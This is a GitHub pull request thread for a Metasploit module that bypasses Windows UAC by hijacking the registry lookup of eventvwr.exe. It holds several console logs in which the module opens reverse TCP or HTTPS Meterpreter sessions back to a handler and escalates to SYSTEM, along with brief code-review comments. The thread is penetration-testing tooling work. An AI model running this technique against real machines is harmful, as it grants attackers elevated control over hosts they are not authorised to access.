Add bypass UAC via Event Viewer module #7532

OJ · 2016-11-04T18:57:18Z

This PR provides a new module that implements more bypass UAC functionality, this time via the Event Viewer. The original research was done by @enigma0x3 and @mattifestation, and this module does everything that they did but in Ruby/MSF-land (full kudos for the work goes to them).

Details of the research can be found here: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/

The module should work with any combination of shell arch vs target arch. That is, you can run 32-bit payloads from a 64-bit session and vice-versa. The module has been tested on a fully patched Windows 10 installation.

Notes

This module has been written to make use of the changes made in #7507. This is because a bunch of arch/platform refactors were done, and I didn't want to add more work that needed to be merged after. Hence, it's important that #7507 gets landed before this is looked at.

As a result, the Travis build for this module will fail. When the PR is landed, this should go nicely green. I'll mark this as delayed for now, but is still up for review.

Sample runs

msf exploit(bypassuac_eventvwr) > sessions

Active sessions
===============

  Id  Type                     Information                           Connection
  --  ----                     -----------                           ----------
  3   meterpreter x64/windows  DESKTOP-5A73R51\oj @ DESKTOP-5A73R51  x.x.x.x:5005 -> x.x.x.x:50015 (x.x.x.x)
  4   meterpreter x86/windows  DESKTOP-5A73R51\oj @ DESKTOP-5A73R51  x.x.x.x:5000 -> x.x.x.x:50016 (x.x.x.x)

msf exploit(bypassuac_eventvwr) > sess 3
[*] Starting interaction with 3...

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 3...
msf exploit(bypassuac_eventvwr) > sess 4
[*] Starting interaction with 4...

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 4...
msf exploit(bypassuac_eventvwr) > set session 3
session => 3
msf exploit(bypassuac_eventvwr) > run

[*] [2016.11.05-04:40:03] Started reverse TCP handler on x.x.x.x:4444
[*] [2016.11.05-04:40:05] UAC is Enabled, checking level...
[+] [2016.11.05-04:40:05] Part of Administrators group! Continuing...
[+] [2016.11.05-04:40:05] UAC is set to Default
[+] [2016.11.05-04:40:05] BypassUAC can bypass this setting, continuing...
[*] [2016.11.05-04:40:06] Configuring payload and stager registry keys ...
[*] [2016.11.05-04:40:07] Executing payload: C:\Windows\SysWOW64\cmd.exe /c C:\Windows\System32\eventvwr.exe
[*] [2016.11.05-04:40:08] Sending stage (957487 bytes) to x.x.x.x
[*] Meterpreter session 5 opened (x.x.x.x:4444 -> x.x.x.x:58629) at 2016-11-05 04:40:10 +1000
[*] [2016.11.05-04:40:12] Cleaining up registry keys ...

meterpreter > getuid
Server username: DESKTOP-5A73R51\oj
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.255.131 - Meterpreter session 5 closed.  Reason: User exit
msf exploit(bypassuac_eventvwr) > set session 4
session => 4
msf exploit(bypassuac_eventvwr) > set target 1
target => 1
msf exploit(bypassuac_eventvwr) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(bypassuac_eventvwr) > run

[*] [2016.11.05-04:40:47] Started reverse TCP handler on x.x.x.x:4444
[*] [2016.11.05-04:40:50] UAC is Enabled, checking level...
[+] [2016.11.05-04:40:50] Part of Administrators group! Continuing...
[+] [2016.11.05-04:40:50] UAC is set to Default
[+] [2016.11.05-04:40:50] BypassUAC can bypass this setting, continuing...
[*] [2016.11.05-04:40:51] Configuring payload and stager registry keys ...
[*] [2016.11.05-04:40:51] Executing payload: C:\Windows\Sysnative\cmd.exe /c C:\Windows\System32\eventvwr.exe
[*] [2016.11.05-04:40:53] Sending stage (1189423 bytes) to x.x.x.x
[*] Meterpreter session 6 opened (x.x.x.x:4444 -> x.x.x.x:58645) at 2016-11-05 04:40:54 +1000
[*] [2016.11.05-04:40:57] Cleaining up registry keys ...

meterpreter > getuid
Server username: DESKTOP-5A73R51\oj
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.255.131 - Meterpreter session 6 closed.  Reason: User exit

Verification

This module was inspired by the work done by Matt Nelson and Matt Graeber who came up with the method in the first place. This works nicely on a fully patched Windows 10 at the time of writing.

h00die · 2016-11-13T02:22:36Z

This looks to be https://www.exploit-db.com/exploits/40268/ correct? Just tracking down any edb code that never got PRed

OJ · 2016-11-13T21:51:42Z

@h00die no, I wrote my own from scratch. You'll notice that the module is out of date (uses Metasploit3), and takes a different approach in code. Seems to rely on it's own web delivery of some kind, which doesn't makes sense.

bcook-r7 · 2016-11-21T07:17:04Z

Hi @OJ can you please rebase this on master now that #7507 is landed :)

OJ · 2016-11-21T07:17:28Z

With pleasure!

wchen-r7 · 2016-11-28T20:50:13Z

modules/exploits/windows/local/bypassuac_eventvwr.rb

+
+    # Validate that we can actually do things before we bother
+    # doing any more work
+    validate_environment!


Hi @OJ, I believe you're missing the method for validate_environment!. Could you please add it? Thanks.

OJ · 2016-11-30T21:36:47Z

Strange. I'd removed the function, but not the call. Fail. I'll fix it up. Thanks!

wchen-r7 · 2016-11-30T22:02:07Z

Ah ok, thanks!

OJ · 2016-11-30T22:02:24Z

msf exploit(bypassuac_eventvwr) > run

[*] [2016.12.01-08:01:22] Started HTTPS reverse handler on https://10.1.10.40:8888
[*] [2016.12.01-08:01:23] UAC is Enabled, checking level...
[+] [2016.12.01-08:01:23] Part of Administrators group! Continuing...
[+] [2016.12.01-08:01:23] UAC is set to Default
[+] [2016.12.01-08:01:23] BypassUAC can bypass this setting, continuing...
[*] [2016.12.01-08:01:23] Configuring payload and stager registry keys ...
[*] [2016.12.01-08:01:23] Executing payload: C:\Windows\SysWOW64\cmd.exe /c C:\Windows\System32\eventvwr.exe
[*] [2016.12.01-08:01:25] https://10.1.10.40:8888 handling request from 10.1.10.56; (UUID: gx5dgqed) Staging Native payload...
[*] Meterpreter session 2 opened (10.1.10.40:8888 -> 10.1.10.56:53881) at 2016-12-01 08:01:25 +1000
[*] [2016.12.01-08:01:28] Cleaining up registry keys ...

meterpreter > sysinfo
Computer        : DESKTOP-TF4F7AM
OS              : Windows 10 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

Should be good now!

wchen-r7 · 2016-11-30T22:02:38Z

Thanks, I'm on it now :-)

OJ · 2016-11-30T22:03:15Z

Thanks for chasing me up @wchen-r7 :)

wchen-r7 · 2016-12-01T17:13:31Z

Module works for me:

msf exploit(bypassuac_eventvwr) > run

[*] Started reverse TCP handler on 172.16.23.1:5555 
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\system32\cmd.exe /c C:\Windows\System32\eventvwr.exe
[*] Sending stage (957999 bytes) to 172.16.23.185
[*] Meterpreter session 10 opened (172.16.23.1:5555 -> 172.16.23.185:49162) at 2016-12-01 11:12:36 -0600
[*] Cleaining up registry keys ...

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

And code looks nice. I'll merge it now. Thanks!

wchen-r7 · 2016-12-01T17:18:23Z

Release Notes

This is a local exploit module that allows you to bypass UAC via the Event Viewer. It works against a variety of Windows versions, from Windows 7 to Windows 10.

enigma0x3 · 2016-12-01T17:18:48Z

Awesome, thanks all!

OJ · 2016-12-01T21:03:34Z

Woohoo! Thanks Wei. And thanks Matt for the original effort :)

Add module to bypassuac using eventvwr

4bf966f

This module was inspired by the work done by Matt Nelson and Matt Graeber who came up with the method in the first place. This works nicely on a fully patched Windows 10 at the time of writing.

OJ added module blocked Blocked by one or more additional tasks labels Nov 4, 2016

OJ added 3 commits November 21, 2016 17:18

Merge 'upstream/master' into the bypassuac via eventvwr mod

e226047

Fix msftidy issues

8c03688

Remove unused/empty function body

6ae8a2d

OJ removed the blocked Blocked by one or more additional tasks label Nov 21, 2016

wchen-r7 self-assigned this Nov 28, 2016

wchen-r7 added the feature label Nov 28, 2016

wchen-r7 reviewed Nov 30, 2016

View reviewed changes

OJ added 2 commits December 1, 2016 07:57

Remove call to missing function

6890e56

Merge branch 'upstream/master' into add-bypassuac-eventvwr

ebf5121

wchen-r7 merged commit ebf5121 into rapid7:master Dec 1, 2016

wchen-r7 added a commit that referenced this pull request Dec 1, 2016

Land #7532, Add bypass UAC local exploit via Event Viewer module

174cd74

OJ deleted the add-bypassuac-eventvwr branch June 16, 2017 06:46

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add bypass UAC via Event Viewer module #7532

Add bypass UAC via Event Viewer module #7532

OJ commented Nov 4, 2016 •

edited by wchen-r7

Loading

h00die commented Nov 13, 2016

OJ commented Nov 13, 2016 •

edited

Loading

bcook-r7 commented Nov 21, 2016

OJ commented Nov 21, 2016

wchen-r7 Nov 28, 2016

OJ commented Nov 30, 2016 via email

wchen-r7 commented Nov 30, 2016

OJ commented Nov 30, 2016

wchen-r7 commented Nov 30, 2016

OJ commented Nov 30, 2016

wchen-r7 commented Dec 1, 2016 •

edited

Loading

wchen-r7 commented Dec 1, 2016

enigma0x3 commented Dec 1, 2016

OJ commented Dec 1, 2016 via email

Add bypass UAC via Event Viewer module #7532

Add bypass UAC via Event Viewer module #7532

Conversation

OJ commented Nov 4, 2016 • edited by wchen-r7 Loading

Notes

Sample runs

Verification

h00die commented Nov 13, 2016

OJ commented Nov 13, 2016 • edited Loading

bcook-r7 commented Nov 21, 2016

OJ commented Nov 21, 2016

wchen-r7 Nov 28, 2016

Choose a reason for hiding this comment

OJ commented Nov 30, 2016 via email

wchen-r7 commented Nov 30, 2016

OJ commented Nov 30, 2016

wchen-r7 commented Nov 30, 2016

OJ commented Nov 30, 2016

wchen-r7 commented Dec 1, 2016 • edited Loading

wchen-r7 commented Dec 1, 2016

Release Notes

enigma0x3 commented Dec 1, 2016

OJ commented Dec 1, 2016 via email

OJ commented Nov 4, 2016 •

edited by wchen-r7

Loading

OJ commented Nov 13, 2016 •

edited

Loading

wchen-r7 commented Dec 1, 2016 •

edited

Loading